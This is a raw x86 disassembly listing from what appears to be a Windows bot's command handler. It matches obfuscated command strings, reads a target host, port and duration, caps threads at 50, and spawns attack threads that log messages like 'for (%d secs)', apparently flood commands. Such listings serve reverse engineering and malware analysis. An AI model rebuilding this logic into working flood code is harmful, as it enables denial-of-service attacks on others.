push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1B10], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1C14]
push edi
push eax
push offset sub_4283DC
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1B10]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_41174B
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41172C
cmp [ebp+arg_18], 0
jnz short loc_411736
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41172C: ; CODE XREF: sub_40A938+6DD0j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_411736: ; CODE XREF: sub_40A938+6DD6j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_4115C2
; ---------------------------------------------------------------------------
loc_411743: ; CODE XREF: sub_40A938+6E1Aj
push 32h
call dword_43718C ; Sleep
loc_41174B: ; CODE XREF: sub_40A938+6DBFj
cmp [ebp+var_1AF4], 0
jz short loc_411743
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_411759: ; CODE XREF: sub_40A938+6C28j
; sub_40A938+6C31j ...
mov edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_411763: ; CODE XREF: sub_40A938+6C1Dj
push dword ptr [ebx]
push offset aNhr6r0qsk450 ; "nHr6r0qsk450"
call edi ; dword_437174
test eax, eax
jnz short loc_41177A
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_41177A: ; CODE XREF: sub_40A938+6E36j
push dword ptr [ebx]
push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
call edi ; dword_437174
test eax, eax
jnz loc_4119BB
xor edi, edi
cmp [ebx+4], edi
jz loc_4119B1
cmp [ebx+8], edi
jz loc_4119B1
cmp [ebx+0Ch], edi
jz loc_4119B1
cmp [ebx+10h], edi
jz loc_4119B1
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_411807
loc_4117C1: ; CODE XREF: sub_40A938+70B8j
; sub_40A938+7263j ...
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4117EF
cmp [ebp+arg_18], 0
jnz short loc_4117F9
push [ebp+arg_C]
push ebx
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4117EF: ; CODE XREF: sub_40A938+6E97j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4117F9: ; CODE XREF: sub_40A938+6E9Dj
push [ebp+arg_C]
push ebx
loc_4117FD: ; CODE XREF: sub_40A938+705Ej
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_411807: ; CODE XREF: sub_40A938+6E87j
mov eax, [ebp+arg_14]
mov [ebp+var_13A8], eax
mov eax, [ebp+arg_18]
mov [ebp+var_13AC], eax
cmp eax, edi
lea eax, [ebp+var_14C4]
jnz short loc_411828
push dword ptr [esi+0Ch]
jmp short loc_41182A
; ---------------------------------------------------------------------------
loc_411828: ; CODE XREF: sub_40A938+6EE9j
push dword ptr [esi]
loc_41182A: ; CODE XREF: sub_40A938+6EEEj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_14CC], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1444]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_13B8], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_13B4], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_13BC], eax
jge short loc_411887
loc_41187D: ; CODE XREF: sub_40A938+7132j
; sub_40A938+72DDj
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
jmp loc_413CB1
; ---------------------------------------------------------------------------
loc_411887: ; CODE XREF: sub_40A938+6F43j
cmp [ebp+arg_14], 0
mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
jnz short loc_4118C3
cmp [ebp+arg_18], 0
jnz short loc_4118C9
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_4118C3: ; CODE XREF: sub_40A938+6F58j
cmp [ebp+arg_18], 0
jz short loc_4118F3
loc_4118C9: ; CODE XREF: sub_40A938+6F5Ej
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_4118F3: ; CODE XREF: sub_40A938+6F8Fj
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_13B0], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_14CC]
push edi
push eax
push offset sub_41DAA5
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_13B0]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_4119A3
loc_411951: ; CODE XREF: sub_40A938+7200j
; sub_40A938+73ABj ...
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_411984
cmp [ebp+arg_18], 0
jnz short loc_41198E
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_411984: ; CODE XREF: sub_40A938+7028j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_41198E: ; CODE XREF: sub_40A938+702Ej
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_4117FD
; ---------------------------------------------------------------------------
loc_41199B: ; CODE XREF: sub_40A938+7072j
push 32h
call dword_43718C ; Sleep
loc_4119A3: ; CODE XREF: sub_40A938+7017j
cmp [ebp+var_13A0], 0
jz short loc_41199B
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4119B1: ; CODE XREF: sub_40A938+6E58j
; sub_40A938+6E61j ...
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_4119BB: ; CODE XREF: sub_40A938+6E4Dj
push dword ptr [ebx]
push offset aPsern1aagh6_ ; "pSern1AAGh6."
call edi ; dword_437174
test eax, eax
jnz loc_411B56
xor edi, edi
cmp [ebx+4], edi
jz short loc_4119B1
cmp [ebx+8], edi
jz short loc_4119B1
cmp [ebx+0Ch], edi
jz short loc_4119B1
cmp [ebx+10h], edi
jz short loc_4119B1
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jg loc_4117C1
mov eax, [ebp+arg_14]
mov [ebp+var_1608], eax
mov eax, [ebp+arg_18]
mov [ebp+var_160C], eax
cmp eax, edi
lea eax, [ebp+var_1724]
jnz short loc_411A17
push dword ptr [esi+0Ch]
jmp short loc_411A19
; ---------------------------------------------------------------------------
loc_411A17: ; CODE XREF: sub_40A938+70D8j
push dword ptr [esi]
loc_411A19: ; CODE XREF: sub_40A938+70DDj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_172C], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_16A4]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1618], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_1614], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_161C], eax
jl loc_41187D
cmp [ebp+arg_14], 0
mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
jnz short loc_411AAC
cmp [ebp+arg_18], 0
jnz short loc_411AB2
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_411AAC: ; CODE XREF: sub_40A938+7141j
cmp [ebp+arg_18], 0
jz short loc_411ADC
loc_411AB2: ; CODE XREF: sub_40A938+7147j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_411ADC: ; CODE XREF: sub_40A938+7178j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1610], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_172C]
push edi
push eax
push offset sub_41DC43
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1610]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_411951
jmp short loc_411B48
; ---------------------------------------------------------------------------
loc_411B40: ; CODE XREF: sub_40A938+7217j
push 32h
call dword_43718C ; Sleep
loc_411B48: ; CODE XREF: sub_40A938+7206j
cmp [ebp+var_1600], 0
jz short loc_411B40
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_40A938+708Ej
push dword ptr [ebx]
push offset aXkg84_cesgs_ ; "XkG84.cESgs."
call edi ; dword_437174
test eax, eax
jnz loc_411D01
xor edi, edi
cmp [ebx+4], edi
jz loc_4119B1
cmp [ebx+8], edi
jz loc_4119B1
cmp [ebx+0Ch], edi
jz loc_4119B1
cmp [ebx+10h], edi
jz loc_4119B1
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jg loc_4117C1
mov eax, [ebp+arg_14]
mov [ebp+var_14D8], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14DC], eax
cmp eax, edi
lea eax, [ebp+var_15F4]
jnz short loc_411BC2
push dword ptr [esi+0Ch]
jmp short loc_411BC4
; ---------------------------------------------------------------------------
loc_411BC2: ; CODE XREF: sub_40A938+7283j
push dword ptr [esi]
loc_411BC4: ; CODE XREF: sub_40A938+7288j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_15FC], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1574]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_14E8], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_14E4], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_14EC], eax
jl loc_41187D
cmp [ebp+arg_14], 0
mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
jnz short loc_411C57
cmp [ebp+arg_18], 0
jnz short loc_411C5D
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_411C57: ; CODE XREF: sub_40A938+72ECj
cmp [ebp+arg_18], 0
jz short loc_411C87
loc_411C5D: ; CODE XREF: sub_40A938+72F2j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_411C87: ; CODE XREF: sub_40A938+7323j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push edi
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_14E0], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_15FC]
push edi
push eax
push offset sub_41DDA8
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_14E0]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_411951
jmp short loc_411CF3
; ---------------------------------------------------------------------------
loc_411CEB: ; CODE XREF: sub_40A938+73C2j
push 32h
call dword_43718C ; Sleep
loc_411CF3: ; CODE XREF: sub_40A938+73B1j
cmp [ebp+var_14D0], 0
jz short loc_411CEB
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_411D01: ; CODE XREF: sub_40A938+7229j
push dword ptr [ebx]
push offset aP06vqBfbmo_ ; "p06vq/BFBMo."
call edi ; dword_437174
test eax, eax
jnz loc_411E74
xor edi, edi
cmp [ebx+4], edi
jz loc_4119B1
cmp [ebx+8], edi
jz loc_4119B1
cmp [ebx+0Ch], edi
jz loc_4119B1
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jg loc_4117C1
mov eax, [ebp+arg_14]
mov [ebp+var_1C20], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1C24], eax
cmp eax, edi
lea eax, [ebp+var_1D3C]
jnz short loc_411D64
push dword ptr [esi+0Ch]
jmp short loc_411D66
; ---------------------------------------------------------------------------
loc_411D64: ; CODE XREF: sub_40A938+7425j
push dword ptr [esi]
loc_411D66: ; CODE XREF: sub_40A938+742Aj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1D44], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1CBC]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1C2C], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 14h
cmp eax, 1
mov [ebp+var_1C34], eax
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
jl loc_413CB1
cmp [ebp+arg_14], 0
jnz short loc_411DE0
cmp [ebp+arg_18], 0
jnz short loc_411DE6
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_411DE0: ; CODE XREF: sub_40A938+7480j
cmp [ebp+arg_18], 0
jz short loc_411E05
loc_411DE6: ; CODE XREF: sub_40A938+7486j
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_411E05: ; CODE XREF: sub_40A938+74ACj
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1C28], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1D44]
push edi
push eax
push offset sub_41E17C
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1C28]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_411951
jmp short loc_411E66
; ---------------------------------------------------------------------------
loc_411E5E: ; CODE XREF: sub_40A938+7535j
push 32h
call dword_43718C ; Sleep
loc_411E66: ; CODE XREF: sub_40A938+7524j
cmp [ebp+var_1C18], 0
jz short loc_411E5E
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_411E74: ; CODE XREF: sub_40A938+73D4j
push dword ptr [ebx]
push offset a3vvsv1vurua ; "3VVsV1VuRUA/"
call edi ; dword_437174
test eax, eax
jnz short loc_411E8B
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_411E8B: ; CODE XREF: sub_40A938+7547j
push dword ptr [ebx]
push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
call edi ; dword_437174
test eax, eax
jnz loc_4120A3
xor edi, edi
cmp [ebx+4], edi
jz loc_412099
cmp [ebx+8], edi
jz loc_412099
cmp [ebx+0Ch], edi
jz loc_412099
cmp [ebx+10h], edi
jz loc_412099
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_411F16
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_411EFE
cmp [ebp+arg_18], 0
jnz short loc_411F08
push eax
push ebx
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_411EFE: ; CODE XREF: sub_40A938+75A8j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_411F08: ; CODE XREF: sub_40A938+75AEj
push [ebp+arg_C]
push ebx
loc_411F0C: ; CODE XREF: sub_40A938+7746j
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_411F16: ; CODE XREF: sub_40A938+7598j
mov eax, [ebp+arg_14]
mov [ebp+var_1040], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1044], eax
cmp eax, edi
lea eax, [ebp+var_10D4]
jnz short loc_411F37
push dword ptr [esi+0Ch]
jmp short loc_411F39
; ---------------------------------------------------------------------------
loc_411F37: ; CODE XREF: sub_40A938+75F8j
push dword ptr [esi]
loc_411F39: ; CODE XREF: sub_40A938+75FDj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1158], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1154]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1050], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_1048], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_104C], eax
mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
jl loc_413CB1
cmp [ebp+arg_14], 0
jnz short loc_411FC1
cmp [ebp+arg_18], 0
jnz short loc_411FC7
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSD_1 ; "%s --> (%s:%d)"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_411FC1: ; CODE XREF: sub_40A938+7661j
cmp [ebp+arg_18], 0
jz short loc_411FE6
loc_411FC7: ; CODE XREF: sub_40A938+7667j
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSD_1 ; "%s --> (%s:%d)"
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_411FE6: ; CODE XREF: sub_40A938+768Dj
push dword ptr [ebx+8]
call sub_42A030
push eax
push dword ptr [ebx+4]
push edi
push offset aSSD_1 ; "%s --> (%s:%d)"
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1054], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1158]
push edi
push eax
push offset sub_41EBD7
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1054]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_41208B
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41206C
cmp [ebp+arg_18], 0
jnz short loc_412076
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41206C: ; CODE XREF: sub_40A938+7710j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412076: ; CODE XREF: sub_40A938+7716j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_411F0C
; ---------------------------------------------------------------------------
loc_412083: ; CODE XREF: sub_40A938+775Aj
push 32h
call dword_43718C ; Sleep
loc_41208B: ; CODE XREF: sub_40A938+76FFj
cmp [ebp+var_103C], 0
jz short loc_412083
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412099: ; CODE XREF: sub_40A938+7569j
; sub_40A938+7572j ...
mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_4120A3: ; CODE XREF: sub_40A938+755Ej
push dword ptr [ebx]
push offset a4h4m_q_guy_ ; "4h4m/.Q.GUy."
call edi ; dword_437174
test eax, eax
jnz short loc_4120BA
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_4120BA: ; CODE XREF: sub_40A938+7776j
push dword ptr [ebx]
push offset aX_62c_3ldcp ; "X.62C.3LDCP/"
call edi ; dword_437174
test eax, eax
jnz loc_4122F3
xor edi, edi
cmp [ebx+4], edi
jz loc_4122E9
cmp [ebx+8], edi
jz loc_4122E9
cmp [ebx+0Ch], edi
jz loc_4122E9
cmp [ebx+10h], edi
jz loc_4122E9
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_412145
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41212D
cmp [ebp+arg_18], 0
jnz short loc_412137
push eax
push ebx
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41212D: ; CODE XREF: sub_40A938+77D7j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412137: ; CODE XREF: sub_40A938+77DDj
push [ebp+arg_C]
push ebx
loc_41213B: ; CODE XREF: sub_40A938+7996j
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_412145: ; CODE XREF: sub_40A938+77C7j
mov eax, [ebp+arg_14]
mov [ebp+var_1284], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1288], eax
cmp eax, edi
lea eax, [ebp+var_1318]
jnz short loc_412166
push dword ptr [esi+0Ch]
jmp short loc_412168
; ---------------------------------------------------------------------------
loc_412166: ; CODE XREF: sub_40A938+7827j
push dword ptr [esi]
loc_412168: ; CODE XREF: sub_40A938+782Cj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_139C], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1398]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1294], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_1290], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_128C], eax
mov edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
jl loc_413CB1
cmp [ebp+arg_14], 0
jnz short loc_4121FB
cmp [ebp+arg_18], 0
jnz short loc_412201
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_4121FB: ; CODE XREF: sub_40A938+7890j
cmp [ebp+arg_18], 0
jz short loc_41222B
loc_412201: ; CODE XREF: sub_40A938+7896j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_41222B: ; CODE XREF: sub_40A938+78C7j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecS ; "%s --> (%s) for %d sec's"
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1298], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_139C]
push edi
push eax
push offset sub_4229BF
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1298]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_4122DB
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4122BC
cmp [ebp+arg_18], 0
jnz short loc_4122C6
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4122BC: ; CODE XREF: sub_40A938+7960j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4122C6: ; CODE XREF: sub_40A938+7966j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_41213B
; ---------------------------------------------------------------------------
loc_4122D3: ; CODE XREF: sub_40A938+79AAj
push 32h
call dword_43718C ; Sleep
loc_4122DB: ; CODE XREF: sub_40A938+794Fj
cmp [ebp+var_127C], 0
jz short loc_4122D3
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4122E9: ; CODE XREF: sub_40A938+7798j
; sub_40A938+77A1j ...
mov edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_4122F3: ; CODE XREF: sub_40A938+778Dj
push dword ptr [ebx]
push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
call edi ; dword_437174
test eax, eax
jnz short loc_41230A
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_41230A: ; CODE XREF: sub_40A938+79C6j
push dword ptr [ebx]
push offset aW1w2v121jsp_ ; "w1w2V121JSP."
call edi ; dword_437174
test eax, eax
jnz loc_412494
cmp [ebx+4], eax
jz loc_4125CB
cmp [ebx+8], eax
jz loc_4125CB
cmp [ebx+0Ch], eax
jz loc_4125CB
cmp [ebx+10h], eax
jz loc_4125CB
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jg loc_4124E1
mov edi, [ebp+arg_18]
lea eax, [ebp+var_FB4]
test edi, edi
jnz short loc_412365
push dword ptr [esi+0Ch]
jmp short loc_412367
